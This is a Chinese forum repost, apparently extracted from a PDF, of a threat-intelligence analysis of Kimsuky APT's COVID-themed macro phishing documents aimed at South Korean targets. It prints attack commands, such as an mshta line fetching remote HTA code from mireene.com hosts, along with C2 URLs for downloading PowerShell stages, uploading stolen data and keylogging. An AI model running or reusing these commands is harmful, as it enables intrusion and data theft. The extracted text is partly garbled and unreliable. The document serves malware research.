搜索

[26942] 2020-03-25_KimsukyAPT组织利用疫情话题针对南韩进行双平台的攻击活动的分析

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-03-25_KimsukyAPT组织利用疫情话题针对南韩进行双平台的攻击活动的分析 K i m s u k y   A P T 组 织 利 用 疫 情 话 题 针 对 南 韩 进 行 双 平 台 的 攻 击 活 动 的 分 析 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 3 - 2 5 以 下 文 章 来 源 于 G c o w 安 全 团 队   ， 作 者 追 影 小 组 #   K i m s u k y   A P T 组 织 利 用 疫 情 话 题 针 对 南 韩 进 行 双 平 台 的 攻 击 活 动 的 分 析 本 文 一 共 4 2 3 7 字 , 5 7 张 图   预 计 阅 读 时 间 1 3 分 钟 图 片 1   封 面 一 一 . 前 言 前 言   A P T 组 织 ( 又 名 M y s t e r y   B a b y ,   B a b y   C o i n ,   S m o k e   S c r e e n ,   B a b y S h a r k ,   C o b r a   V e n o m )   , 该 组 织 一 直 针 对 于 韩 国 的 智 囊 团 , 政 府 组 织 , 新 闻 组 织 , 大 学 教 授 等 等 进 行 活 动 . 并 且 该 组 织 拥 有 平 台 的 攻 击 能 力 , 载 荷 便 捷 , 阶 段 繁 多 。 并 且 该 组 织 十 分 活 跃 . 其 载 荷 有 带 有 漏 洞 的 带 有 漏 洞 的 h w p 文 件 文 件 , 恶 意 宏 文 件 恶 意 宏 文 件 , 释 放 载 荷 的 释 放 载 荷 的 P E 文 件 文 件 等 近 日 , 随 着 海 外 病 例 的 增 加 , 使 用 新 型 冠 状 病 毒 为 题 材 的 攻 击 活 动 愈 来 愈 多 . 例 如 : 海 莲 花 海 莲 花 A P T 组 织 通 过 白 加 黑 的 手 段 向 中 国 的 政 府 部 门 进 行 鱼 叉 投 递 组 织 通 过 白 加 黑 的 手 段 向 中 国 的 政 府 部 门 进 行 鱼 叉 投 递 , 摩 诃 草 摩 诃 草 A P T 组 织 冒 充 我 国 的 重 点 部 组 织 冒 充 我 国 的 重 点 部 门 针 对 政 府 和 医 疗 部 门 的 攻 击 活 动 门 针 对 政 府 和 医 疗 部 门 的 攻 击 活 动 , 毒 云 藤 和 蓝 宝 菇 组 织 通 过 钓 鱼 的 方 式 窃 取 人 员 的 邮 箱 密 码 毒 云 藤 和 蓝 宝 菇 组 织 通 过 钓 鱼 的 方 式 窃 取 人 员 的 邮 箱 密 码 , 借 以 达 到 窃 密 或 者 是 为 下 一 阶 段 做 准 备 的 目 的 以 及 蔓 灵 花 组 织 继 续 采 用 借 以 达 到 窃 密 或 者 是 为 下 一 阶 段 做 准 备 的 目 的 以 及 蔓 灵 花 组 织 继 续 采 用 S F X 文 档 的 文 档 的 方 式 对 我 国 重 点 设 施 进 行 投 放 方 式 对 我 国 重 点 设 施 进 行 投 放 . 同 时 , 在 朝 鲜 半 岛 的 争 夺 也 随 之 展 开 . 安 全 团 队 追 影 小 组 追 影 小 组 在 日 常 的 文 件 监 控 之 中 发 现 名 为 A P T 组 织 采 用 邮 件 鱼 叉 的 方 式 针 对 韩 国 的 新 闻 部 门 , 政 府 部 门 等 进 行 攻 击 活 动 , 并 且 在 此 次 活 动 之 中 体 现 出 该 组 织 在 攻 击 过 程 中 使 用 轻 量 化 轻 量 化 , 多 阶 段 脚 本 载 荷 多 阶 段 脚 本 载 荷 的 特 点 . 并 且 在 本 次 活 动 中 我 们 看 到 了 该 组 织 使 用 针 对 平 台 进 行 无 文 件 的 攻 击 活 动 . 下 面 笔 者 将 从 攻 击 平 台 的 样 本 以 及 攻 击 平 台 的 样 本 进 行 分 析 G c o w 安 全 团 队 安 全 团 队   . G c o w 是 当 前 国 内 为 数 不 多 的 民 间 网 络 信 息 安 全 研 究 团 队 之 一 。 本 着 “ 低 调 发 展 ， 自 信 创 新 ， 技 术 至 上 ” 理 念 ， 团 队 主 要 研 究 范 围 “ A P T 捕 获 分 析 、 渗 透 测 试 、 代 码 审 计 、 病 毒 样 本 分 析 、 R e d T e a m 、 红 蓝 对 抗 、 程 序 开 发 ” k i m s u k y w i n d o w s G c o w k i m s u k y p y t h o n M a c O S W i n d o w s M a c O s
二 二 . W i n d w o s 平 台 样 本 分 析 平 台 样 本 分 析 : 1 .   . d o c ( 冠 状 病 毒 反 应 冠 状 病 毒 反 应 . d o c ) 0 x 0 0 . 样 本 信 息 样 本 信 息 : 图 片 2   样 本   . d o c 信 息 该 样 本 利 用 社 会 工 程 学 社 会 工 程 学 的 办 法 ， 诱 使 目 标 点 击 “ 启 用 内 容 启 用 内 容 ” 来 执 行 宏 的 恶 意 代 码 。 启 用 宏 后 显 示 的 正 文 内 容 。 通 过 谷 歌 翻 译 ， 提 取 到 几 个 关 键 词 ： 新 型 冠 状 病 毒 新 型 冠 状 病 毒   可 以 看 出 ， 这 可 能 是 针 对 韩 国 政 府 韩 国 政 府 发 起 的 一 次 攻 击 活 动 。 图 片 3   诱 饵 文 档 原 文 以 及 翻 译 攻 击 者 通 过 鱼 叉 邮 件 附 件 鱼 叉 邮 件 附 件 的 方 式 将 恶 意 载 荷 投 递 给 受 害 目 标
图 片 4   钓 鱼 邮 件 附 件 0 x 0 1 .   样 本 分 析 样 本 分 析 利 用 工 具 提 取 的 宏 代 码 如 下 :   其 将 执 行 的 命 令 通 过 的 形 式 在 宏 里 面 自 己 解 码 后 隐 藏 执 行   所 执 行 的 命 令 为 : 图 片 5   执 行 m s h t a 命 令 加 载 s e a r c h . h t a s e a r c h . h t a 其 主 要 内 嵌 的 是 o l e v b a h e x 编 码 m s h t a   h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / s e a r c h . h t a   / f v b s
代 码 , 请 求 以 获 取 下 一 段 的 代 码 , 并 且 执 行 获 取 到 的 代 码 U R L 地 址 为 : 图 片 6   获 取 下 一 段 v b s 代 码 并 执 行 1 . v b s 下 一 段 的 代 码 就 是 其 侦 查 者 侦 查 者 的 主 体 代 码 : 1 . 信 息 收 集 部 分 : 收 集 本 机 名 以 及 本 机 所 在 域 的 名 称 本 机 名 以 及 本 机 所 在 域 的 名 称 , i p 地 址 地 址 , 用 户 名 称 用 户 名 称 ,   % p r o g r a m f i l e s % 下 的 文 件 下 的 文 件 ,   % p r o g r a m f i l e s %   ( x 8 6 ) 下 的 文 件 下 的 文 件 , 安 装 软 件 信 息 安 装 软 件 信 息 , 开 始 栏 的 项 目 开 始 栏 的 项 目 , 最 近 打 开 的 项 目 最 近 打 开 的 项 目 , 进 程 列 表 进 程 列 表 , 系 统 系 统 版 本 信 息 版 本 信 息 , s e t 设 置 信 息 设 置 信 息 , 远 程 桌 面 连 接 信 息 远 程 桌 面 连 接 信 息 ,   , a r p 信 息 信 息 ,   % a p p d a t a % M i c r o s o f t 下 所 有 文 件 以 及 子 文 件 信 息 下 所 有 文 件 以 及 子 文 件 信 息 , 文 档 文 件 夹 信 息 文 档 文 件 夹 信 息 , 下 载 文 件 信 息 下 载 文 件 信 息 , p o w e r s h e l l 文 件 夹 下 的 文 件 信 息 ， 盘 符 信 文 件 夹 下 的 文 件 信 息 ， 盘 符 信 息 息 , 宏 的 安 全 性 信 息 宏 的 安 全 性 信 息 , o u t l o o k 信 息 信 息 等 等 图 片 7   信 息 收 集 1 U R L v b s v b s h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / e w e e r e w . p h p ? e r = 1 v b s
图 片 8   信 息 收 集 2 2 . 添 加 计 划 任 务 以 布 置 下 一 阶 段 的 载 荷 : 伪 装 成 更 新 的 任 务 执 行 命 令 :   获 取 当 前 时 间 , 延 迟 后 执 行 创 造 该 计 划 任 务 图 片 9   s c h t a s k s 创 造 计 划 任 务 c f h k j k k . h t a 和 一 样 , 也 是 一 样 的 中 转 的 代 码 , U R L 为 : 图 片 1 0   中 转 h t a 2 . v b s 其 同 样 也 是 文 件 . 其 主 要 的 功 能 是 查 看 % A p p d a t a % W i n d o w s d e s k t o p . i n i 是 否 存 在 , 如 果 存 在 则 利 用 c e r t u t i l   - f   - e n c o d e 对 文 件 进 行 编 码 并 且 输 出 为 % A p p d a t a % W i n d o w s r e s . i n i , 并 且 从 U R L 地 址 下 载 编 码 后 的 命 令 隐 藏 执 行 , 执 行 成 功 后 删 除 A p p d a t a % W i n d o w s d e s k t o p . i n i . 并 且 从 U R L 地 址 下 载 编 码 后 的 A c r o b a t m s h t a   h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / c f h k j k k . h t a s c h t a s k s s e a r c h . h t a h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / e w e e r e w . p h p ? e r = 2 v b s h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / d o w n l o a d . p h p ? p a r a m = r e s 1 . t x t p o w e r s h e l l h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / d o w n l o a d . p h p ? p a r a m = r e s 2 . t x t p o w e r s h e l l
命 令 隐 藏 执 行 . 图 片 1 1   2 . v b s r e s 1 . t x t 该 命 令 主 要 功 能 就 是 读 取 A p p d a t a % W i n d o w s r e s . i n i 文 件 里 的 内 容 , 再 组 成 报 文 后 利 用 上 传 到 , 地 址 为 : 图 片 1 2   r e s 1 . t x t r e s 2 . t x t 该 命 令 主 要 功 能 是 通 过 对 比 按 键 码 值 记 录 信 息 我 们 可 以 看 到 被 黑 的 站 点 是 一 个 购 物 平 台 , 攻 击 者 应 该 入 侵 这 个 购 物 平 台 后 把 相 应 的 恶 意 载 荷 挂 到 该 网 站 . p o w e r s h e l l H T T P U p l o a d S t r i n g C 2 C 2 h t t p : / / v n e x t . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / w i u j k j k j k . p h p p o w e r s h e l l A S C I I
图 片 1 3   被 入 侵 的 网 站 截 图 图 片 1 4   网 站 内 容 翻 译 此 外 我 们 通 过 比 较 相 同 的 宏 代 码 发 现 了 其 一 个 类 似 的 样 本 2 .         2 0 2 0 0 3 0 2 . d o c ( 美 国 国 务 卿 素 食 主 义 者 美 国 国 务 卿 素 食 主 义 者 2 0 2 0 0 3 0 2 . d o c ) 0 x 0 0 . 样 本 信 息 样 本 信 息
图 片 1 5   样 本         2 0 2 0 0 3 0 2 . d o c 信 息 该 样 本 利 用 社 会 工 程 学 社 会 工 程 学 的 办 法 ， 诱 使 目 标 点 击 “ 启 用 内 容 启 用 内 容 ” 来 执 行 宏 的 恶 意 代 码 。 启 用 宏 后 显 示 的 正 文 内 容 。 通 过 谷 歌 翻 译 ， 提 取 到 几 个 关 键 词 ： 朝 韩 问 题 朝 韩 问 题 , 政 策 政 策 , 朝 鲜 半 岛 朝 鲜 半 岛 。 可 以 看 出 ， 这 可 能 是 针 对 韩 国 政 府 机 构 韩 国 政 府 机 构 发 起 的 一 次 攻 击 活 动 。 图 片 1 6   诱 饵 文 档 原 文 以 及 翻 译 0 x 0 1   样 本 分 析 样 本 分 析 其 与 上 文 所 述 相 同 不 过 , 本 样 本 执 行 的 命 令 是 : m s h t a   h t t p : / / n h p u r u m y . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / / m e m b e r / b a s i c / u p l o a d / s e a r c h . h t a   / f
图 片 1 7   用 m s h t a 加 载 s e a r c h . h t a 相 同 的 中 转 中 转 地 址 为 : 图 片 1 8   获 取 下 一 阶 段 v b s 代 码 并 且 执 行 其 执 行 的 v b s 代 码 与 上 文 类 似 , 在 这 里 就 不 做 赘 述 了 . 不 过 其 计 划 任 务 所 执 行 的 第 二 部 分 的 地 址 为 :   图 片 1 9   添 加 计 划 任 务 并 且 延 迟 执 行 之 后 的 部 分 代 码 与 上 文 相 同 , 不 过 其 的 地 址 为 。 在 此 就 不 赘 述 了 。 被 入 侵 的 网 站 可 能 是 一 个 广 告 公 司 : s e a r c h . h t a h t t p : / / n h p u r u m y . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / e w e e r e w . p h p ? e r = 1 h t a u r l h t t p : / / n h p u r u m y . m i r e e n e . c o m / t h e m e / b a s i c / s k i n / m e m b e r / b a s i c / u p l o a d / c f h k j k k . h t a C 2 n h p u r u m y . m i r e e n e . c o m
图 片 2 0   被 入 侵 公 司 官 网 截 图 图 片 2 1   被 入 侵 公 司 官 网 内 容 3 . .           . d o c （ 附 上 （ 附 上 . 专 家 专 栏 手 稿 表 格 专 家 专 栏 手 稿 表 格 . d o c ） ） 0 x 0 1 文 档 信 息 文 档 信 息 : 样 本 信 息 样 本 信 息 :
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理